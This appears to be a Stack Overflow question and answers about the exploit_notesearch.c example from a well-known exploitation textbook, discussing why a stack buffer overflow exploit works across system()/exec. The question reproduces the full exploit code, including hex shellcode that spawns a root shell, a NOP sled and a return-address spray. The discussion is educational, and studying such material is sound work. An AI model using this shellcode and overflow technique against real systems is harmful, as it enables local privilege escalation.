8

I was reading this book Art of Exploitation, which is kinda good book and I run across that example from exploit_notesearch.c file.

Briefly author tries to overflow program from notesearch.c

int main(int argc, char *argv[]) {
    int userid, printing=1, fd;
    char searchstring[100];
    if(argc > 1) // If there is an arg
        strcpy(searchstring, argv[1]);
    else // otherwise,
        searchstring[0] = 0;

The argument of the main function is copied to the searchstring array and if the argument is bigger than 100 bytes it will overflow the return address from the main function.

The author prepares the shellcode in exploit_notesearch.c and calls vulnerable notesearch.c

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200);

    strcpy(command, "./notesearch \'");
    buffer = command + strlen(command);

    ret = (unsigned int) &i - offset; // Set return address

    for(i=0; i < 160; i+=4) // Fill buffer with return address
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); //run exploit
}

You can see that shellcode is combined with NOP sled and return address which should point to that NOP sled. The author uses address of a local variable i as a point of reference and substracts 270 bytes thus trying figure out approximate location of NOP sled.

As I understand author assumes that stackframe of the main function from vulnerable notesearch.c will be in the same stack segment as stackframe of main function from exploit_notesearch.c. I assume this because only this way this manipulation with address of the local variable i can work.

But, the author calls vulnerable notesearch.c with the help of the system() like this system(command). My point is that this function system() somewhere inside uses fork() to spawn child process and after that uses exec() function to change image of the process. But if the image is changed it means that stack segment will be fresh and all those manipulations with address of local variable i in main function in exploit_notesearch.c will be useless, but somehow this exploit works which is completely confusing for me.

Ethan Heilman
  • 16,347
  • 11
  • 61
  • 88
Rustam Issabekov
  • 3,279
  • 6
  • 24
  • 31

1 Answers1

11

The author simply assumes that the C compiler will place the stacks of those two programs at the same (or very similar) virtual addresses and that the operating system will not perform address randomization (ASLR). This means that the stack frames of both main functions will be roughly at the same location, enabling this exploit.

This is not a very robust way of exploitation, as you can imagine (it will probably fail on most modern 64-bit systems). More robust exploits could use a form of return oriented programming or could try to utilize the existing char *argv pointer to the relevant stack frame.

Niklas B.
  • 92,950
  • 18
  • 194
  • 224
  • Niklas thanks for the answer. Is it a special property of operating system virtual memory allocation between parent and child process that child process will use the value stored in esp of parrent process? I mean when author subtracts 270 bytes he assumes that a virtual addresses of vulnerable child process will be lower in stack segment. For example a parent process did his job and used address in stack segment up to 0hffff4534, will child process continue from that virtual address? if it'not the case, is there any good manual or tutorial that can explain this. Thanks in advance – Rustam Issabekov Jan 02 '12 at 14:56
  • Can you pls correct me if I'm wrong: as I understand this exploit is possible because both processes will assign same virtual address for the stack segment but because vulnerable main function will have to allocate a lot of bytes for local variable searchstring we can assume that it will be lower in the stack – Rustam Issabekov Jan 02 '12 at 15:04
  • No, the stack address is determined by looking at the executed program and has nothing to do with the parent process. – Niklas B. Jan 02 '12 at 15:04
  • I'm not sure how the author figured out the magic number 270, but probably through analysis of the final executables – Niklas B. Jan 02 '12 at 15:06
  • @Rustam Issabekov If system uses virtual memory, then we should totally forget about parent process, because child process (not thread) will get its own user space and correspondingly its own stack area, hence it's meaningless to say that 'a virtual addresses of vulnerable child process will be lower in stack segment' unless the system does not use virtual memory and should perform load-time relocation – mangusta Aug 09 '13 at 19:52
  • The only thing I don't get from your example (and basically from all exploit codes of that type), is, if a brand new process is started and vulnerable main( ) executes, where is that saved 'return' value supposed to point to? main( ) is the very first function of the process to be executed, so is there actually any saved 'return' value above it? I guess there should be some process handler for each created process, which has it's stack frame right above stack frame of main( ) and which gets control after main( ) returns. Otherwise it's hard to explain – mangusta Aug 09 '13 at 20:02
  • Another issue is, what if the vulnerable main( ) never returns? But mostly it returns quite fast, usually after spawning some threads. – mangusta Aug 09 '13 at 22:28
  • @mangusta: You are mistaken, `main()` is NOT the real entry point of your program in most cases. C and C++ have static initialization and thread-local memory and other stuff that needs to be set up before `main()` is entered. So typically the real entry point is some statically linked function from `libc` (you can see that from a simple disassembly of your binary). – Niklas B. Aug 12 '13 at 09:54